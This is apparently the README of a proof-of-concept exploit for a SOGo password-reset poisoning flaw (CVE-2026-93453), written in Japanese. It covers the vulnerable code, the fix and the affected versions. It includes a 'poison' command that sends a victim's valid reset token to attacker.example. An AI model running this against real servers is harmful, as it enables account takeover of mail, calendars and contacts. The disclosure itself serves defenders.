
CVE-2026-93453 の Python PoC。攻撃者が制御する Origin ヘッダーを介した SOGo のパスワードリセットリンクポイズニング脆弱性で、リセットトークンの傍受とアカウント乗っ取りを可能にします。
SOGoがユーザーにメール送信するパスワードリセットリンクを、クライアントが指定したOriginヘッダーからそのまま組み立ててしまう脆弱性のエクスプロイトです。被害者のログイン情報を知る匿名の攻撃者が、制御下のOriginを付けてリカバリリクエストをPOSTします。すると、送信される「Password reset」メール内のリンクは攻撃者のホストを指す一方で、埋め込まれたJWTは完全に有効なリカバリトークンのままです。被害者が一度クリックすれば、そのトークンは攻撃者のアクセスログに記録され、POST /SOGo/changePasswordによって新しいパスワードに差し替えられます — メール、カレンダー、連絡先の完全なアカウント乗っ取りであり、どの段階でも認証は不要です。さらにメール分岐はSOGoPasswordRecoveryEnabledチェックをスキップします(このフラグはSecretQuestion分岐でのみ参照されます)。そのため、運用者がリカバリを無効にしていると考えていても、メール経由の攻撃ベクターは機能します。
Record: https://www.cve.org/CVERecord?id=CVE-2026-93453
| 影響を受ける | SOGo < 5.12.11 (≤ 5.12.10) |
| 修正済み | 5.12.11 (SOGoPasswordRecoveryBaseURLs 許可リスト) |
| 前提条件 | SecondaryEmailリカバリモードの被害者; 攻撃者がuserNameを把握; 被害者がメール内のリンクをクリック |
| 影響 | アカウント乗っ取り |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
トークン化されたリセットURLはOrigin + request URI + JWTであるため、ヘッダーを設定した者が、被害者の秘密が送信される先のホストを設定することになります。これはオープンリダイレクトではなく、パスワードリセットポイズニング(CWE-640 / CWE-601)です。JWTは、どのホストがそれを運んだかに関係なく/SOGo/changePasswordによって受け入れられます。
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
5.12.11では、外部のOriginは403("Password recovery email in error")を受け取ります。5.12.10以下では同じリクエストが200を返し、メールが送信されます — この違いがcheckの判定基準です。
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
標準ライブラリのみ(Python 3.8+)。--proxy、--insecure、--timeout、--no-color、および非標準のSOGoマウントポイント用の--prefixをサポートします。
PoCには攻撃者側のインフラは不要です。poisonはサーバーにリンクをメール送信させるだけであり、ポイズニングされたホストは--originに指定したものになります。脆弱なインスタンスでは、送信されるリンクはhttps://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>となり、被害者がクリックした瞬間にトークンがあなたのホストへ送信されます。
checkは存在しないカナリアユーザー名を使用するため、実際のメールボックスにメールが配信されることはありません。200 = メール分岐が外部のOriginを受け入れた(脆弱なシグネチャ)、403 = 5.12.11の許可リストまたは未設定のSOGoPasswordRecoveryBaseURLs(悪用不可)。確実な自己テストには、自分が所有するアカウントをpoisonし、自分の受信トレイでリンクのホストを確認してください。
passwordRecoveryEmailAction)許可されたテストおよび研究のみを目的としています。自身が所有するシステム、またはテストの明示的な許可を得たシステムに対してのみ使用してください。